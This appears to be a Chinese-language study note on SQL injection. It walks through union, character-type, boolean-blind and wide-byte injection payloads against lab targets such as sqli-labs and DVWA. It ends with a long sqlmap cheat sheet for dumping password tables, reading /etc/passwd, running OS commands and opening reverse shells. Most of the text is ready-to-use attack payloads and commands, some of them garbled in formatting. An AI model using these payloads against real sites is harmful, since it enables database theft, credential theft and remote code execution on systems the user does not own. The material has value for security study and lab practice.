还是有点乱,有时间会把弄好的

常见的SQL注入有数字型注入、Union注入、字符型注入、布尔盲注、时间注入、报错注入和堆叠注入

浏览器会自动将URI中的特殊字符进行URL编码,服务器收到请求后会自动进行URL解码

万能密码

SELECT username, password FROM users WHERE username='' or 1=1 -- AND password='anything
用户的输入用户名为' or 1=1 #,密码为任意值即可
或者' or 1=1 --+' ,加号会转义成空格

information_schema数据库

1、查看数据库名
select schema_name from information_schema.schemata;

2、查看表名
select table_name from information_schema.tables where table_schema='security';
这个security是上一步查出来的数据库名称

3、查看列名
select column_name from information_schema.columns where table_name='users' and table_schema='security';
users是上一步查出来的表名

4、查数据
select username,password from security.users;
username和password是一步查出来的列名

数字型注入

1、?id=1' 加单引号输出错误
2、?id=1 and 1=1 输出正常
3、?id=1 and 1=2 输出错误
则存在数字型注入漏洞(或直接通过id=3-1和id=2的回显页面一致,判断这里存在数字型注入)

4、然后通过联合查询,查询到本数据库的其他所有表名
?id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()
table_name字段是information_schema库中tables表的表名字段,表中还有数据库名字段table_schema。database()函数返回的内容是当前数据库的名称。group_contact是用联合多行记录的函数,也就是说该语句可以联合查询当前库的所有(事实上有一定长度限制)表名并显示在一个字段中。

5、通过columns表及其中的column_name查询出的内容即为wp_user(上一步查询出的一个表名)中的字段名
?id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_name='wp_user'

字符型注入流程

1、判断是否存在注入点
先输入一个单引号,看页面是否错误输出,如果错误输出,继续进行下一步(或者 id=3-1观察页面是否为空再
id=2a观察页面是否有结果,如果有,那么多半就是字符型)

SELECT first_name,last_name FROM users WHERE user_id=’1’ and 1=1#
用户输入的数据为1’ and 1=1#

SELECT first_name,last_name FROM users WHERE user_id=’1’ and 1=2#
用户输入的数据为1’ and 1=2#

两次尝试后1=1正常输出,1=2错误输出,证明SQL语句生效,存在SQL注入漏洞

尝试使用单引号来闭合前面的单引号,再用--%20%23注释后面的语句。这里一定要用url编码,空格的编码是%20, #的编码是%23
id=2%27%23

where id='1'#' 此时的MySQL语句

2、判断数据库列数 order by [column_num]

SELECT first_name,last_name FROM users WHERE user_id=’1’  order by 1 #
SELECT first_name,last_name FROM users WHERE user_id=’1’ order by 2 #
SELECT first_name,last_name FROM users WHERE user_id=’1’ order by 3 #

当表中只有两列,order by 3就会出错

3、联合查询其他信息 union select [sql1] [sql2]

SELECT first_name,last_name FROM users WHERE user_id=’1’  union  select  user(),database()#
用户输入的SQL语句,执行了MYSQL内置函数user()和database(),user()返回当前数据库连接用户,database()返回当前数据库名称

4、联合查询表 union select table_name,table_schema from information_schema.tables where table_schema= ‘[database_name]’

SELECT first_name,last_name FROM users WHERE user_id=’1’ union select table_name,table_schema  from  information_schema.tables  where  table_schema=’dvwa’#
从information_schema数据库中查询dvwa数据库表
这一步是为了查询数据库中有哪些表,因为上一步查到了数据库的名称,这个dvwa就是上一步查询到的数据库的名称。我们想要看看这个数据库里面有什么东西,除了数据库名称根据实际进行更改,其他内容是固定不变的。

5、联合查询信息 union [query_sql]

SELECT first_name,last_name FROM users WHERE user_id=’1’ union select user,password  from  users#
上一步查询到数据库中有哪些表,现在想要查看表中的内容。假设这里的users就是上一步中查到的表,猜测可能会有user和password这两个属性,查询user和password的值

布尔盲注

各数据库在字符串处理时的区别

id=1' and (ascii(substr(database(),1,1))=115)=1%23 由于数据库第一位s的ascii值为115,就构造出1=1的结构,页面正常

limit使用

select * from table limit m,n;
注意这里的m是从0开始,得到第一张表需要用到limit 0,1

直接通过字符串截取对比,类似函数很多后面做个总结吧

1
http://127.0.0.1/sqli/Less-1/?id=1' and substr((select user()),1,1)='r' -- +

IFNULL() 函数

1
http://127.0.0.1/sqli/Less-1/?id=1' and IFNULL((substr((select user()),1,1)='r'),0) -- +

使用 比较函数strcmp()

1
2
3
4
5
6
7
8
9
10
11
12
13
1.

http://127.0.0.1/sqli/Less-1/?id=1' and strcmp((substr((select user()),1,1)='r'),1) -- +
http://127.0.0.1/sqli/Less-1/?id=1' and strcmp((substr((select user()),1,1)='r'),0) -- +


2.

mysql> select * from users where id =1 and 0=strcmp((substr((select user()),1,1)),'o');
Empty set (0.00 sec)

mysql> select * from users where id =1 and 0=strcmp((substr((select user()),2,1)),'o');

关于Union联合注入的问题

? id=1 union select user,pwd from wp_user;
可能MySQL确实查询出了两行记录,但是PHP代码决定了页面只显示一行代码

可以在原有数据后面加上limit 1,1 (是一个条件限制,作用是取查询结果第一条记录后的一条记录)
? id=1 union select user,pwd from wp_user limit 1,1;

也可以指定id=-1或者一个很大的值,使得第一行记录无法被查到,这样结果就只有UNION的查询结果了

宽字节注入

1
2
3
4
5
1.没使用宽字节
%27 -> %5C%27

2. 试用宽字节
%df%27 -> %df%5c%27 -> 運'
  1. 在我们输入单引号时 addslashes() 或者get_magic_quotes_gpc 给我们的单引号加入了转义字符\ 就变成了\'
  2. 我们输入经过转换后由于编码的不同把%df%5c 转换为了一个汉字。

sqlmap的使用

1、检测漏洞
python sqlmap.py -u “http://127.0.0.1/vulnerabilities/sqli/?id=2&Submit=Submit#"
大部分情况下的网站是可以直接这样的
但是dvwa需要登录,所以需要添加cookie信息

cookie信息怎么看:

python sqlmap.py -u “http://127.0.0.1/vulnerabilities/sqli/?id=1&Submit=Submit#" –cookie =”security=low; PHPSESSID=13nt494nnep4ge910t9d0tq91o”

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#摘自冰河博客
sqlmap.py -u "http://192.168.109.139/news?id=1" --current-user #获取当前用户名称
sqlmap.py -u "http://192.168.109.139/news?id=1" --current-db #获取当前数据库名称
sqlmap.py -u "http://192.168.109.139/news?id=1" --tables -D "db_name" #列表名
sqlmap.py -u "http://192.168.109.139/news?id=1" --columns -T "tablename" users-D "db_name" -v 0 #列字段
sqlmap.py -u "http://192.168.109.139/news?id=1" --dump -C "column_name" -T "table_name" -D "db_name" -v 0 #获取字段内容
******************信息获取******************
sqlmap.py -u "http://192.168.109.139/news?id=1" --smart --level 3 --users # smart 智能 level 执行测试等级
sqlmap.py -u "http://192.168.109.139/news?id=1" --dbms "Mysql" --users # dbms 指定数据库类型
sqlmap.py -u "http://192.168.109.139/news?id=1" --users #列数据库用户
sqlmap.py -u "http://192.168.109.139/news?id=1" --dbs#列数据库
sqlmap.py -u "http://192.168.109.139/news?id=1" --passwords #数据库用户密码
sqlmap.py -u "http://192.168.109.139/news?id=1" --passwords-U root -v 0 #列出指定用户数据库密码
sqlmap.py -u "http://192.168.109.139/news?id=1" --dump -C "password,user,id" -T "tablename" -D "db_name" --start 1 --stop 20 #列出指定字段,列出 20 条
sqlmap.py -u "http://192.168.109.139/news?id=1" --dump-all -v 0 #列出所有数据库所有表
sqlmap.py -u "http://192.168.109.139/news?id=1" --privileges #查看权限
sqlmap.py -u "http://192.168.109.139/news?id=1" --privileges -U root #查看指定用户权限
sqlmap.py -u "http://192.168.109.139/news?id=1" --is-dba -v 1 #是否是数据库管理员
sqlmap.py -u "http://192.168.109.139/news?id=1" --roles #枚举数据库用户角色
sqlmap.py -u "http://192.168.109.139/news?id=1" --udf-inject #导入用户自定义函数(获取系统权限!)
sqlmap.py -u "http://192.168.109.139/news?id=1" --dump-all --exclude-sysdbs -v 0 #列出当前库所有表
sqlmap.py -u "http://192.168.109.139/news?id=1" --union-cols #union 查询表记录
sqlmap.py -u "http://192.168.109.139/news?id=1" --cookie "COOKIE_VALUE" #cookie 注入
sqlmap.py -u "http://192.168.109.139/news?id=1" -b #获取 banner 信息
sqlmap.py -u "http://192.168.109.139/news?id=1" --data "id=3" #post 注入
sqlmap.py -u "http://192.168.109.139/news?id=1" -v 1 -f #指纹判别数据库类型
sqlmap.py -u "http://192.168.109.139/news?id=1" --proxy"http://127.0.0.1:8118" #代理注入
sqlmap.py -u "http://192.168.109.139/news?id=1"--string"STRING_ON_TRUE_PAGE" #指定关键词
sqlmap.py -u "http://192.168.109.139/news?id=1" --sql-shell #执行指定 sql 命令
sqlmap.py -u "http://192.168.109.139/news?id=1" --file /etc/passwd #必须为dbs权限
sqlmap.py -u "http://192.168.109.139/news?id=1" --file-write 本地文件路径 file-dest 目标路径 #必须为dbs权限(可将本地的某个文件写入到目标路径下)
sqlmap.py -u "http://192.168.109.139/news?id=1" --os-cmd=whoami #执行系统命令
sqlmap.py -u "http://192.168.109.139/news?id=1" --os-shell #系统交互 shell
sqlmap.py -u "http://192.168.109.139/news?id=1" --os-pwn #反弹 shell
sqlmap.py -u "http://192.168.109.139/news?id=1" --reg-read #读取 win 系统注册表
sqlmap.py -u "http://192.168.109.139/news?id=1" --dbs-o "sqlmap.log" #保存进度
sqlmap.py -u "http://192.168.109.139/news?id=1" --dbs -o "sqlmap.log" --resume #恢复已保存进度
sqlmap.py -u "http://192.168.109.139/news?id=1" --msf-path=/opt/metasploit3/msf2 --os-pwn 反弹 shell 需 metasploit 路径
sqlmap.py -u "http://192.168.109.139/news?id=1" --tamper "base64encode.py" 加载脚本(可利用绕过注入限制)
sqlmap.py -u "http://192.168.109.139/news?id=1" --batch --tamper "base64encode.py" 加载脚本(可利用绕过注入限制)
sqlmap -g "google 语法" --dump-all --batch #google 搜索注入点自动 跑出所有字段
sqlmap.py -u "http://192.168.109.139/news?id=1" --forms #post提交方式注入
sqlmap.py -r 本地数据包路径 #post提交方式注入